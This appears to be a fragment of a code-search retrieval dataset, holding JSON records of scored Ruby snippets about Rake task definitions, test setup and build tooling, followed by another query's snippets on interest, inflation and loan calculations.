Rake::Task[file_name].invoke\n end\n\n desc \"Start a #{@full_comment} image\"\n task :start => file_name do\n puts \"Starting #{@full_comment} image\"\n Smallworld.start_gis @name\n end\n\n desc \"Run unit tests for #{@full_comment} image\"\n task :test do\n puts \"Starting unit tests for #{@full_comment} image\"\n\n ENV['TEST_RUNNER_PRODUCT'] = 'munit'\n Rake::Task[\"#{@name}:rebuild\"].invoke\n end\n\n desc \"Run a script with #{@full_comment} image\"\n task :run_script => :build do\n\n script_file = ENV['RUN_SCRIPT']\n fail \"#{@name}:run: set environment variable RUN_SCRIPT to the appropriate file\" if not script_file\n fail \"#{@name}:run: '#{script_file}' does not exist\" if not File.exists?(script_file)\n\n run_image = self.clone\n\n run_image.filters = [IgnoreOutputFilter.new] if not Rake::application.options.trace\n\n puts \"Running script '#{script_file}' for image #{@full_comment}\"\n exit_code = run_image.run @name, script_file\n\n fail \"running the script failed: runalias.exe returned #{exit_code}\" if exit_code != 0\n end\n\n desc \"Remove the image for #{@full_comment}\"\n task :clean do\n rm_f file_name\n end\n\n ns.tasks.each do |task|\n task.enhance(&block) if block_given?\n end\n\n end\n end", "title": "" }, { "docid": "6577a60f63829e74349e7ef9387a67af", "score": "0.5990744", "text": "def setup\n\n end", "title": "" }, { "docid": "6577a60f63829e74349e7ef9387a67af", "score": "0.5990744", "text": "def setup\n\n end", "title": "" }, { "docid": "59d2d6b14c74565f94dd25342adb47ce", "score": "0.5989166", "text": "def define_tasks\n @defines.each { |sym| send( sym ) }\n end", "title": "" }, { "docid": "837e24002af52c43cc20ef4511adc9b0", "score": "0.5980974", "text": "def build_rake_step\n @rake_task << self.global_config # Open the rake Stek and get General Configuration information\n @rake_task << (self.render self.get_config_template) # get Specific Configuration. Defined in the [tool].rb module file (erb)\n @opt_parser.check_error # stop here if errors found in the configuration\n @rake_task << self.test_validation # step is already done ? Defined in the tool_template.rb file\n @rake_task << (self.render self.tool_template) # get specific Task Code. Defined in the [tool].rb module file (erb)\n @rake_task << self.write_validation # write the check file Defined in the tool_template.rb file\n @rake_task << self.close_step # To close the rake Step Defined in the tool_template.rb file\n end", "title": "" }, { "docid": "4714d4a7a86aab4e53181dae40b29c36", "score": "0.59717864", "text": "def setup_test_files\n project.test_sources.each do |src|\n compile_task objectsify(src), src\n end\n end", "title": "" }, { "docid": "04d18d246e7639d0aba123fd90cfb28f", "score": "0.5956541", "text": "def setup\r\n end", "title": "" }, { "docid": "93869ea96571c0b2b71b44122bea1495", "score": "0.5936057", "text": "def define\n\t\ttask :foo do\n\t\t\tputs 'foo!'\n\t\tend\n\tend", "title": "" }, { "docid": "b50a4d10b778e789bc9ba13c31df99cc", "score": "0.592917", "text": "def setup\n # Each debugger test has its own debugger instance.\n @debugger = Google::Cloud::Debugger.new\n debugger_credentials = @debugger.service.credentials\n debugger_channel_cred = GRPC::Core::ChannelCredentials.new.compose \\\n GRPC::Core::CallCredentials.new debugger_credentials.client.updater_proc\n @vtk_debugger_client = Google::Cloud::Debugger::V2::Debugger::Client.new do |config|\n config.credentials = debugger_channel_cred\n end\n\n @debugger.start\n\n refute_nil @debugger, \"You do not have an active debugger to run the tests.\"\n refute_nil @vtk_debugger_client, \"You do not have an active debugger vtk client to run the tests.\"\n super\n end", "title": "" }, { "docid": "3c9dfa048691708b1666791c673593d3", "score": "0.5925759", "text": "def define_run_task\n desc @run_description\n task 'run' do\n target_sha = ENV['TARGET_SHA']\n ts = TTNT::TestSelector.new(repo, target_sha, expanded_file_list)\n tests = ts.select_tests!\n\n if tests.empty?\n STDERR.puts 'No test selected.'\n else\n if ENV['ISOLATED']\n tests.each do |test|\n args = \"#{ruby_opts_string} #{test} #{option_list}\"\n run_ruby args\n break if @failed && ENV['FAIL_FAST']\n end\n else\n args =\n \"#{ruby_opts_string} #{run_code} \" +\n \"#{tests.to_a.join(' ')} #{option_list}\"\n run_ruby args\n end\n end\n end\n end", "title": "" }, { "docid": "7b4bb02678df6118acc5c5c9626e2e1c", "score": "0.5923525", "text": "def define\n logger.debug \"Defining tasks for #{name} #{version}\"\n\n namespace \"#{name}\" do\n define_download\n define_verify\n define_unpack\n define_patch\n define_build\n define_install\n\n task :done => \"#{name}:install\"\n task :default => \"#{name}:done\"\n end\n\n desc \"Build and Install #{name} #{version}\"\n task name => \"#{name}:default\"\n end", "title": "" }, { "docid": "556b871ae6ad1090a14c16e1a3f40cc6", "score": "0.58645636", "text": "def initialize(rake_testtask = nil)\n @rake_testtask = rake_testtask || Rake::TestTask.new\n\n # There's no `test_files` method so we can't delegate it\n # to the internal task through `method_missing`.\n @test_files = @rake_testtask.instance_variable_get('@test_files')\n\n yield self if block_given?\n\n target = (name == :test) ? '' : \" for #{name}\"\n @anchor_description = \"Generate test-to-code mapping#{target}\"\n @run_description = \"Run selected tests#{target}\"\n define_tasks\n end", "title": "" }, { "docid": "b2d6df959665e47d5c61c832c0e85b9c", "score": "0.5843575", "text": "def setup\r\n setup_wiki\r\n setup_host_map\r\n setup_host\r\n end", "title": "" }, { "docid": "687f174f69da1e39ca7b114fcb1e1b4b", "score": "0.5826653", "text": "def define_tasks\n private_methods.grep(/^define_(\\w+)_tasks$/).each do |meth| \n namespace_name = meth.match(/^define_(\\w+)_tasks$/)[1]\n send(meth)\n end\n end", "title": "" }, { "docid": "6514105ec22dd190d5b671616d6cd3a1", "score": "0.58223563", "text": "def build_rake_step(b, tasks)\n b.tag! \"hudson.plugins.rake.Rake\" do\n b.rakeInstallation \"(Default)\"\n b.rakeFile\n b.rakeLibDir\n b.rakeWorkingDir\n b.tasks tasks\n b.silent false\n end\n end", "title": "" }, { "docid": "5e756d75b5739f5382bc2915be0af9cc", "score": "0.58121926", "text": "def define_perforce_tasks\n warn :define_perforce_tasks if $DEBUG\n\n desc \"branch the project from dev to version dir\"\n task :branch do\n original_dir = File.basename(Dir.pwd)\n\n Dir.chdir \"..\"\n\n target_dir = File.directory?(version) ? version : original_dir\n branching = target_dir == original_dir && target_dir != version\n pkg = File.basename(Dir.pwd)\n\n begin\n p4_integrate original_dir, version if branching\n validate_manifest_file version\n p4_submit \"Branching #{pkg} to version #{version}\" if branching\n rescue => e\n warn e\n p4_revert version\n raise e\n end\n\n Dir.chdir version\n end\n\n task :prerelease => :branch\n\n task :postrelease => :announce do\n system 'rake clean'\n end\n\n desc \"Generate historical flog/flay data for all releases\"\n task :history do\n p4_history\n end\n end", "title": "" }, { "docid": "591ebda8537b9605808346e51f9b6ce0", "score": "0.58070445", "text": "def configure_tasks\n super\n all_sources = []\n @toolchains.each do |toolchain, sources|\n all_sources |= sources\n toolchain.output_folder = @output_folder\n toolchain.project_folder = @project_folder\n toolchain.output_decorator = \"-#{@configuration_name}\"\n CompiledConfiguration.add_framework_dependencies_to_toolchain(toolchain, @dependencies)\n end\n # Give the default toolchain an opportunity to scan all source files for\n # any special needs. For example, a toolchain might look for .cpp files\n # to determine that it should link a project with the \"g++\" vs \"gcc\".\n @default_toolchain.scan_sources(all_sources)\n end", "title": "" }, { "docid": "3e95030d17155d3fb8697aed4c65ed39", "score": "0.5803918", "text": "def collect_tasks\n tasks = []\n $sake_op = {}\n ARGV.each do |arg|\n if arg =~ /^(\\w+)=(.*)$/\n ENV[$1] = $2\n $sake_op[$1.to_sym] = $2\n else\n tasks << arg\n end\n end\n tasks.push(\"default\") if tasks.size == 0\n tasks\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.5803199", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.5803199", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.5803199", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.5803199", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.5803199", "text": "def setup\n end", "title": "" }, { "docid": "55011b23688ae8a6d8cf5f59a12d3923", "score": "0.5803199", "text": "def setup\n end", "title": "" }, { "docid": "2ea75046aa68d9c71d34c8f07655ee52", "score": "0.57933396", "text": "def rakefile_test_tasks\n ''\n end", "title": "" }, { "docid": "32b71c9e331185cfbdd32e8fdabdc811", "score": "0.5787659", "text": "def setup\n # noop\n end", "title": "" }, { "docid": "1f46aa9fbfa6158cd3e52f45935aa9fb", "score": "0.57754046", "text": "def tasks\n config[:tasks]\n end", "title": "" }, { "docid": "4f1940bc3ec16bf24238f48bba997163", "score": "0.5760945", "text": "def initialize task_name, rake_application\n super\n @logger = $stdout\n @mm_config = MMConfig.new\n @reader = LogFile.new\n @trust_config = Trust.new\n @process = nil\n @input = task_name\n\n @pkg_name = FlashPlayer::NAME\n @pkg_version = FlashPlayer::VERSION\n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.57599676", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.57599676", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.57599676", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.57599676", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.57599676", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.57599676", "text": "def setup\n \n end", "title": "" }, { "docid": "0e88625757db4ec72d353bc86812a228", "score": "0.57599676", "text": "def setup\n \n end", "title": "" }, { "docid": "58e95837cbeb392cef0152e6caa37b56", "score": "0.5754682", "text": "def setup_rake_dependencies(task, multitask = nil)\n dependencies.reverse_each do |d|\n begin\n bb = ALL_BUILDING_BLOCKS[d]\n raise \"Error: tried to add the dependencies of \\\"#{d}\\\" to \\\"#{@name}\\\" but such a building block could not be found!\" unless bb\n\n if multitask and bb.pre_step\n multitask.prerequisites.unshift(bb.get_task_name)\n else\n task.prerequisites.unshift(bb.get_task_name)\n end\n rescue ExitHelperException\n raise\n rescue Exception => e\n Printer.printError e.message\n ExitHelper.exit(1)\n end\n end\n\n task\n end", "title": "" }, { "docid": "2038ed1198a9911d82c6e579ee8db9a0", "score": "0.57503057", "text": "def define_packaging_tasks\n\n\t\t### Task: prerelease\n\t\tunless Rake::Task.task_defined?( :pre )\n\t\t\tdesc \"Append the package build number to package versions\"\n\t\t\ttask :pre do\n\t\t\t\trev = get_numeric_rev()\n\t\t\t\ttrace \"Current rev is: %p\" % [ rev ]\n\t\t\t\t$hoespec.spec.version.version << \"pre#{rev}\"\n\t\t\t\tRake::Task[:gem].clear\n\n\t\t\t\tGem::PackageTask.new( $hoespec.spec ) do |pkg|\n\t\t\t\t\tpkg.need_zip = true\n\t\t\t\t\tpkg.need_tar = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tnamespace :deps do\n\n\t\t\tif RVM_GEMSET.exist?\n\t\t\t\tdesc \"Update the project's RVM gemset\"\n\t\t\t\ttask :gemset do\n\t\t\t\t\tdeps = make_gemset_recommendations( $hoespec.spec )\n\t\t\t\t\tupdates = deps.values.compact\n\n\t\t\t\t\tif !updates.empty?\n\t\t\t\t\t\t$stderr.puts \"%d gems in the current gemset have newer matching versions:\" %\n\t\t\t\t\t\t\t [ updates.length ]\n\t\t\t\t\t\tdeps.each do |old, newer|\n\t\t\t\t\t\t\tnext unless newer\n\t\t\t\t\t\t\t$stderr.puts \" #{old} -> #{newer}\"\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\tif ask( \"Update? \" )\n\t\t\t\t\t\t\tupdate_rvm_gemset( deps )\n\t\t\t\t\t\t\trun 'rvm', 'gemset', 'import', RVM_GEMSET.to_s\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\tend\n\n\t\t### Make the ChangeLog update if the repo has changed since it was last built\n\t\tfile '.hg/branch'\n\t\tfile 'ChangeLog' => '.hg/branch' do |task|\n\t\t\t$stderr.puts \"Updating the changelog...\"\n\t\t\tcontent = make_changelog()\n\t\t\tFile.open( task.name, 'w', 0644 ) do |fh|\n\t\t\t\tfh.print( content )\n\t\t\tend\n\t\tend\n\n\tend", "title": "" }, { "docid": "d0fd11c4b78e39bd3fe78c6afa3674b7", "score": "0.57496953", "text": "def collect_tasks\n @top_level_tasks = []\n ARGV.each do |arg|\n if arg =~ /^(\\w+)=(.*)$/\n ENV[$1] = $2\n else\n @top_level_tasks << arg unless arg =~ /^-/\n end\n end\n @top_level_tasks.push(\"default\") if @top_level_tasks.size == 0\n end", "title": "" }, { "docid": "60c1248b0b192041d3a71310526fce70", "score": "0.5740439", "text": "def setup\n\t\tend", "title": "" }, { "docid": "60c1248b0b192041d3a71310526fce70", "score": "0.5740439", "text": "def setup\n\t\tend", "title": "" }, { "docid": "c78fdb10069ec89e3aea0c469506fc4e", "score": "0.57306457", "text": "def run_rails_rake_tasks(*names)\n ARGV.clear\n ARGV.concat(names)\n ARGV << \"RAILS_ENV=test\"\n Dir.chdir(RAILS_ROOT) do\n old = Rake.application\n Rake.application = Rake::Application.new\n begin\n Rake.application.run\n ensure\n Rake.application = old\n end\n end\nend", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.57206947", "text": "def setup\n\n end", "title": "" }, { "docid": "bfc69e4949f99cb9fe298d757ddb8a87", "score": "0.57206947", "text": "def setup\n\n end", "title": "" } ]
1a4d4a9f809171109843d75218fd495d
2 inflation is worth 75 adm Assume you are at positiveenoughtocare inflation 25% of the time This is annual number
[ { "docid": "3391f35701225ad293ca3c10459a491f", "score": "0.6633541", "text": "def inflation_reduction(v)\n monthly_adm_points v*(75.0/2.0/12)*0.25\n end", "title": "" } ]
[ { "docid": "881c6e23b3dc7ab4764951668bfaadc4", "score": "0.70765555", "text": "def mnthly_interest(yearlyint)\n (yearlyint.to_f / 12) / 100\nend", "title": "" }, { "docid": "fc10dbd622dc4a1d92192138060ccb2d", "score": "0.677516", "text": "def years_of_nationalism(v)\n global_revolt_risk (2*0.05*v)\n end", "title": "" }, { "docid": "fc10dbd622dc4a1d92192138060ccb2d", "score": "0.677516", "text": "def years_of_nationalism(v)\n global_revolt_risk (2*0.05*v)\n end", "title": "" }, { "docid": "46cc3149e3a4190b9a8603a996703ffa", "score": "0.66998684", "text": "def noi\n\t\t(total_income - operating_expenses) * 12\n\tend", "title": "" }, { "docid": "afe9dcd6bde4e88c6dca45bd6c7d4ae5", "score": "0.6692746", "text": "def simpleinterest(principal,numofyears,rate = 1.5)\n si = (principal*numofyears*rate)/100\n amt = principal + si\n return si,amt\nend", "title": "" }, { "docid": "8967677e0d2bfbc59cd2833dead0639f", "score": "0.66863567", "text": "def current_compound_interest_rate() 4.3 end", "title": "" }, { "docid": "8967677e0d2bfbc59cd2833dead0639f", "score": "0.66862863", "text": "def current_compound_interest_rate() 4.3 end", "title": "" }, { "docid": "953ef8675e38ea6fc93d4932a42ad4f7", "score": "0.65967524", "text": "def demand\n # regressie toepassen uit analyse\n (demand_28d_before * 0.9526 + 29.8462).round\n end", "title": "" }, { "docid": "0df8ff1c970159161033a7c93d22a0f0", "score": "0.6548055", "text": "def nutritional_footprint\r\n kcal_impact = 0\r\n if @vct < 670\r\n kcal_impact = 1\r\n elsif @vct > 830\r\n kcal_impact = 3\r\n else\r\n kcal_impact = 2\r\n end\r\n\r\n gei_impact = 0\r\n if @gei < 800\r\n gei_impact = 1\r\n elsif @gei > 1200\r\n gei_impact = 3\r\n else\r\n gei_impact = 2\r\n end\r\n\r\n (kcal_impact + gei_impact) / 2.0\r\n end", "title": "" }, { "docid": "f0e7aa7051e67784883fbaf7079cffe6", "score": "0.65472674", "text": "def apr_to_monthly_interest(apr_in_percent)\n (apr_in_percent / 100) / 12\nend", "title": "" }, { "docid": "395bb9c2676d35af75e5683cc758616c", "score": "0.6506361", "text": "def interest(loan_amount, nominal_rate, days_in_month = 30 , days_in_year = 360)\n interest_in_cents = ((loan_amount * nominal_rate * days_in_month) / days_in_year)# To convert cents to euro by dividing it by 100 and round off decimal by 2\n interest_in_euro = (interest_in_cents.to_f/100).round(2)\n end", "title": "" }, { "docid": "5e150ab9b7a55402376bd607f06aeea6", "score": "0.64854836", "text": "def inflation_ratio_for(year)\n\n #please UPDATE!\n #Last updated: Jan 2019\n # uses inflation from every year, so that I don't need to update\n # Calculated as change in CPI, from jan 1 to jan 1, durring the given year,\n # i.e data for 2013 is for change ending jan 1 2014.\n # using \"ALL Urban Consumers LESS Food & Energy (i.e. CORE inflation)\n # Source: https://research.stlouisfed.org/fred2/release?rid=10\n # Or: https://fred.stlouisfed.org/series/CPILFENS\n # Saved to file localy\n #\n ir = {\n 2000 => 1.02581,\n 2001 => 1.02735,\n 2002 => 1.01917,\n 2003 => 1.01149,\n 2004 => 1.02169,\n 2005 => 1.02174,\n 2006 => 1.02573,\n 2007 => 1.02439,\n 2008 => 1.01763,\n 2009 => 1.01816,\n 2010 => 1.00804,\n 2011 => 1.0223,\n 2012 => 1.01893,\n 2013 => 1.01717,\n 2014 => 1.01606,\n 2015 => 1.02216,\n 2016 => 1.01949,\n 2017 => 1.01389,\n 2018 => 1.02171\n }\n\n # Now muliply the earnings from a given year, by all the years AFTER it\n mul = 1\n last_year = YEAR - 1\n return mul if year == last_year\n\n ((year + 1)..(last_year)).each do |i|\n mul *= ir[i]\n end\n\n mul\n end", "title": "" }, { "docid": "d6f6a5cc97c74aecad38f199d1cd9880", "score": "0.648525", "text": "def calculate_annuity(loan_amount, interest_percent_rate, months)\n interest_rate = interest_percent_rate.to_f / 100.0\n monthly_interest_rate = interest_rate / 12.0\n\n numerator = monthly_interest_rate * loan_amount.to_f\n denominator = 1.0 - ((1.0 + monthly_interest_rate)**-months)\n\n (numerator / denominator)\nend", "title": "" }, { "docid": "2aa2c542013c558be39c045d10639bbe", "score": "0.6480382", "text": "def adjust_for_inflation(eps)\n eps.map{ |e| inflation_ratio_for(e.year)*e.net_income.to_i }\n end", "title": "" }, { "docid": "40d9291c5a5c92740512592beba5973c", "score": "0.6441663", "text": "def papal_influence(v)\n monthly_adm_points(v * 0.5 / 12.0)\n end", "title": "" }, { "docid": "40d9291c5a5c92740512592beba5973c", "score": "0.6441663", "text": "def papal_influence(v)\n monthly_adm_points(v * 0.5 / 12.0)\n end", "title": "" }, { "docid": "38f65ef839c757d9992569c880a7e255", "score": "0.6420504", "text": "def interest_factor(interest, compounding_frequency)\t#refactor this to use the method below\n\tinterest_factor = (1 + (interest.to_f / 100) / compounding_frequency)\n\treturn interest_factor\nend", "title": "" }, { "docid": "49ec830e0560828b1f9034bfa219fc83", "score": "0.6410729", "text": "def annual_maturity\n 12.0 / mature_length\n end", "title": "" }, { "docid": "31bae7721b8930fb5ac6ef842e45ecdb", "score": "0.6379985", "text": "def daily_fat_allotment\n self.daily_calorie_allotment * 0.0325\n end", "title": "" }, { "docid": "94bb0416a585f76709391d1bdac1d021", "score": "0.6377873", "text": "def daily_protein_allotment\n self.daily_calorie_allotment * 0.025\n end", "title": "" }, { "docid": "5810a98ca0304a2e5a72d3d3b48becec", "score": "0.6369874", "text": "def monthly_interest_rate(apr)\n apr / 12\nend", "title": "" }, { "docid": "7b9727f9519acfe466d25358fd234af5", "score": "0.6358471", "text": "def libraryFine(d1, m1, y1, d2, m2, y2)\n days_late = d1 - d2\n months_late = m1 - m2\n years_late = y1 - y2\n\n if years_late.positive?\n 10_000\n elsif months_late.positive? && years_late.zero?\n months_late * 500\n elsif days_late.positive? && months_late.zero? && years_late.zero?\n days_late * 15\n else\n 0\n end\nend", "title": "" }, { "docid": "be3d921f51fb00b5f2bfa5cc9e6f5150", "score": "0.6320428", "text": "def gei_anual\n auxNodo = @head\n geitotal = 0\n while(auxNodo != nil)\n geitotal += auxNodo.value.gei * 365\n auxNodo = auxNodo.next\n end\n return geitotal.round(1)\n end", "title": "" }, { "docid": "994aed608fcb29012876e17b38d82e93", "score": "0.6303857", "text": "def costo_sin_iva()\n r=0\n if self.total_cost > 0\n r = self.total_cost / 1.16 #16% de iva\n r = \"%.2f\" % r \n end\n r\n end", "title": "" }, { "docid": "154458650575fca87a560823ca0f4f68", "score": "0.62956524", "text": "def interest(v)\n money 0.02*(-v/4.0)\n end", "title": "" }, { "docid": "6125a14f5e4a48b69e23f7ae3db86c8e", "score": "0.6261081", "text": "def year_to_monthly_interest(yearly_rate)\n\tyearly_rate / 12\nend", "title": "" }, { "docid": "82cb9703021437046681f4080d95d2fa", "score": "0.62478596", "text": "def stpw; (state_inflict_perc * 100).to_i; end", "title": "" }, { "docid": "11a9adbbdb7c25f0e45d3a63cdf737ae", "score": "0.62286776", "text": "def calc_annual_income\n #implement\n end", "title": "" }, { "docid": "06199afa2ae6642c28780ba0732258af", "score": "0.62183714", "text": "def male_daily_target_calorie\n 13.397 * weight + 4.799 * height - 5.677 * age + 88.362\n end", "title": "" }, { "docid": "ab7e95de1e99ef760588b44405bd2f11", "score": "0.62072104", "text": "def nb_year(p0, percent, aug, p)\n i = 0\n while p0 < p\n p0 += (p0 * percent*0.01).to_i + aug\n i += 1\n end\n return i\nend", "title": "" }, { "docid": "2f79c3787c6537109f3a93492766b380", "score": "0.620698", "text": "def depreciation\n super + (mileage * DEPRECIATION_PER_MILE)\n ####(Time.now.year -year) * ANNUAL_DEPRECIATION\n end", "title": "" }, { "docid": "d13ef7b54b89fad47cede6669b5af6c8", "score": "0.6201017", "text": "def diplomatic_annexation_cost(v)\n monthly_dip_points (-v * 10.0 * 4.0 / 12)\n end", "title": "" }, { "docid": "d13ef7b54b89fad47cede6669b5af6c8", "score": "0.6201017", "text": "def diplomatic_annexation_cost(v)\n monthly_dip_points (-v * 10.0 * 4.0 / 12)\n end", "title": "" }, { "docid": "a57cdcf609b641a55e4a3054d0110d1d", "score": "0.6197664", "text": "def nb_year(p0, percent, aug, p)\n n = 0\n # percent /= 100.to_f\n \n while p0 < p\n p0 += (p0 * percent / 100 + aug).to_i\n n += 1\n end\n \n n\nend", "title": "" }, { "docid": "621eaead5da9b5467d4d706848f45c8e", "score": "0.61951095", "text": "def geiAnual()\n\tgei = 0\n\tnodeAux = @head\n\twhile (nodeAux != nil)\n\t\tgei += nodeAux.value.gei\n\t\tnodeAux = nodeAux.next\n\tend\n\treturn (gei * 365).round(2)\n end", "title": "" }, { "docid": "8ad110eade51dab45bb524a8495cdc8b", "score": "0.6187124", "text": "def inflation_action_cost(v)\n monthly_adm_points (-v * 75.0 / 12 / 50)\n end", "title": "" }, { "docid": "8ad110eade51dab45bb524a8495cdc8b", "score": "0.6187124", "text": "def inflation_action_cost(v)\n monthly_adm_points (-v * 75.0 / 12 / 50)\n end", "title": "" }, { "docid": "e8768030371697019dc343785d1852dd", "score": "0.6179767", "text": "def nb_year(p0, percent, aug, p)\n i = 1\n mult = 1 + percent / 100.0\n prev = p0\n while (prev < p)\n ne = (prev * mult + aug).floor\n prev = ne\n i += 1\n end\n i - 1\nend", "title": "" }, { "docid": "776340206c138fec9782ca5e7fe27d65", "score": "0.6174977", "text": "def duty_free(price, discount, holiday_cost)\r\n (holiday_cost/(price*discount/100.0)).to_i\r\nend", "title": "" }, { "docid": "e83d24dc6b2942e04119ae756a41f0e6", "score": "0.61588264", "text": "def calc_interest\n @balance * (interest_rate / 100)\n end", "title": "" }, { "docid": "c53a8768c3afdc151cdb844704c892db", "score": "0.6157612", "text": "def calc_lea_iers2003(t)\n return (1.753470314 + 628.3075849991 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "a01789ae9c7ca3ac48fb3b02b9d1d226", "score": "0.615591", "text": "def calculate_mastery(importance, understanding)\n if understanding == 5\n 100\n else\n 100 - ((5 - understanding) * 14) - importance * 6\n end\n end", "title": "" }, { "docid": "43c802ba703241896109b815cefc3df6", "score": "0.6155896", "text": "def compound_interest(name, p, r, t, n)\n a = p * (1 + r/n) ** (n*t)\n \"After #{n} years #{name} will have #{a} dollars!\"\nend", "title": "" }, { "docid": "a75b7004404b99ca466fb06da10e3ae7", "score": "0.61475533", "text": "def calc_sa_iers2003(t)\n return (0.874016757 + 21.3299104960 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "594f17b62a774cea31f00869979a6a49", "score": "0.61428386", "text": "def cap_ex_dollars\n\t\t(cap_ex / 100.00) * total_income\n\tend", "title": "" }, { "docid": "d81392414c0cc2b4f2eee75b71d9a87e", "score": "0.613591", "text": "def nb_year(p0, percent, aug, p)\n n=0\n new_population = p0\n until new_population >= p do\n new_population += new_population*(percent.to_f/100)+aug\n n+=1\n end \n n\nend", "title": "" }, { "docid": "f007b18a897748ab0e5882309a5f0324", "score": "0.61206096", "text": "def calc_ur_iers2003(t)\n return (5.481293872 + 7.4781598567 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "02e1f2abe6e97645c958f7fb7b45cd73", "score": "0.60990137", "text": "def taxi(d)\n return (d /400.to_f) * 2 + 35\nend", "title": "" }, { "docid": "cd6d265a37ad93158456ed1fa1bcd1a8", "score": "0.6098015", "text": "def nb_year(p0, percent, aug, p)\n yr = 0\n percent = percent.to_f * 0.01\n while p0 < p\n p0 = (p0 + (p0 * percent) + aug).to_i\n yr += 1\n end\n yr\nend", "title": "" }, { "docid": "e9d710b7fdb7cd3330a21d9906890dc8", "score": "0.6082494", "text": "def sin_evade_bonus; 0; end", "title": "" }, { "docid": "65ee348424b75d30788653bd1259be55", "score": "0.608191", "text": "def estimate_fine\n\t\tcur_week = Time.now.strftime(\"%U\").to_i\n\t\treturn_week = self.return_date.strftime(\"%U\").to_i\n\t\tlate = cur_week - return_week\n\t\tif late > 0\n\t\tfine = late * 0.50\n\t\telse\n\t\tfine = 0.00\n\t\tend\n\t\tfine\n\tend", "title": "" }, { "docid": "acf446641bf0b7086e94d48414bfcf91", "score": "0.6078822", "text": "def sin_victory_bonus; 0; end", "title": "" }, { "docid": "a3dd05dc915ab9ca40d909e8b22f631b", "score": "0.6072278", "text": "def nb_year(p0, percent, aug, p)\n years = 0\n while p0 < p\n p0 = (p0 + p0 * (percent.to_f / 100) + aug).to_i\n years += 1\n end\n years\nend", "title": "" }, { "docid": "07612f859abf8d474dda8b125b7369bd", "score": "0.6070058", "text": "def co2_emission_1990_billions\n co2_emission_1990 * BILLIONS\n end", "title": "" }, { "docid": "f27ed8fbcd625a0606ccd77a56dc527c", "score": "0.6068137", "text": "def update_interest\n\t\t@interest += (@apr.to_f / 365) * @principal_balance\n\tend", "title": "" }, { "docid": "7de36c3cf24b6ee3dd7222774555c6be", "score": "0.60671914", "text": "def nb_year(p0, percent, aug, p1)\n\tyear = 0\n\twhile p0 < p1\n\t\tp0 += (p0/100)*percent + aug\n\t\tyear += 1\n\tend\n\tyear\nend", "title": "" }, { "docid": "49cc5fa4b5e2c249eb7b789286e3048b", "score": "0.60647243", "text": "def insurance_cost(years)\n years * MORTGAGE_INSURANCE_RATE * required_mortgage\n end", "title": "" }, { "docid": "73adc01b8d0f2a5cc3c10c4c7a0c55c4", "score": "0.6061957", "text": "def amount_after_years(q0, t)\n q0 * Math.exp(1.0 / $h * Math.log(1.0/2.0) * t)\nend", "title": "" }, { "docid": "f81fb39329e92cb2fb506332a2cee782", "score": "0.60608244", "text": "def impacto_hombre\n\t\timp=valor_energetico/3000*100\n\t\timp.round(1)\n\tend", "title": "" }, { "docid": "4eca57eb29e8a94e7f332982e641e6c1", "score": "0.6045665", "text": "def solo_iva()\n r=0\n lv_sin_iva = self.costo_sin_iva().to_f\n if lv_sin_iva > 0\n r = lv_sin_iva.to_f * 0.16 #16% de iva\n r = \"%.2f\" % r\n end\n r.to_f\n end", "title": "" }, { "docid": "b097da3d63d392fac09f7e83e5e32e21", "score": "0.6043125", "text": "def loancalc(apr,years,principal)\n apr = apr/(100.0*12)\n num = apr * principal\n den = 1.0-((1.0+apr)**(-years*12))\n return num/den\n end", "title": "" }, { "docid": "32f01b30bd0a47fb3d4deff63ede60c4", "score": "0.6037107", "text": "def anger_rate; anger.to_f/max_anger; end", "title": "" }, { "docid": "9ec874ca0d8a2852eb0f4a0bcfd9f9af", "score": "0.60274947", "text": "def calc_me_iers2003(t)\n return (4.402608842 + 2608.7903141574 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "7f36c86d1a25e7dc033ef19a497b958a", "score": "0.6015256", "text": "def insurance_fee\n (COMMISSION_RATE * INSURANCE_PART_RATE * price).round\n end", "title": "" }, { "docid": "1e815fd6edcc3a8c508391367017621e", "score": "0.60086805", "text": "def calc_ma_iers2003(t)\n return (6.203480913 + 334.0612426700 * t) % PI2\n rescue => e\n raise\n end", "title": "" }, { "docid": "738c59eb4fb094af3839e1bce43c4c9c", "score": "0.6008183", "text": "def degrees_of_freedom\n end", "title": "" }, { "docid": "49d1ff67046178dd548edf97a283a532", "score": "0.60081583", "text": "def calculate_assistance_fee(number_of_days)\n\t\treturn number_of_days*100\n\tend", "title": "" }, { "docid": "49d1ff67046178dd548edf97a283a532", "score": "0.60081583", "text": "def calculate_assistance_fee(number_of_days)\n\t\treturn number_of_days*100\n\tend", "title": "" }, { "docid": "29a3576dbc9e08e07e2b183f04009d4a", "score": "0.600677", "text": "def inst_value\n (remaining_money*1.0/remaining_insts).round(2)\n end", "title": "" }, { "docid": "42f6b4269b7b422383929229483d5f65", "score": "0.5995639", "text": "def subyearstotal(year1totalcharges, mobilisation)\n if @supplier_name\n @subsequent_length_years *\n (year1totalcharges -\n (((mobilisation + (mobilisation * @rate_card_variances[:'Management Overhead %']) +\n (mobilisation * @rate_card_variances[:'Corporate Overhead %'])) *\n (@rate_card_variances[:'Profit %'] + 1))))\n else\n 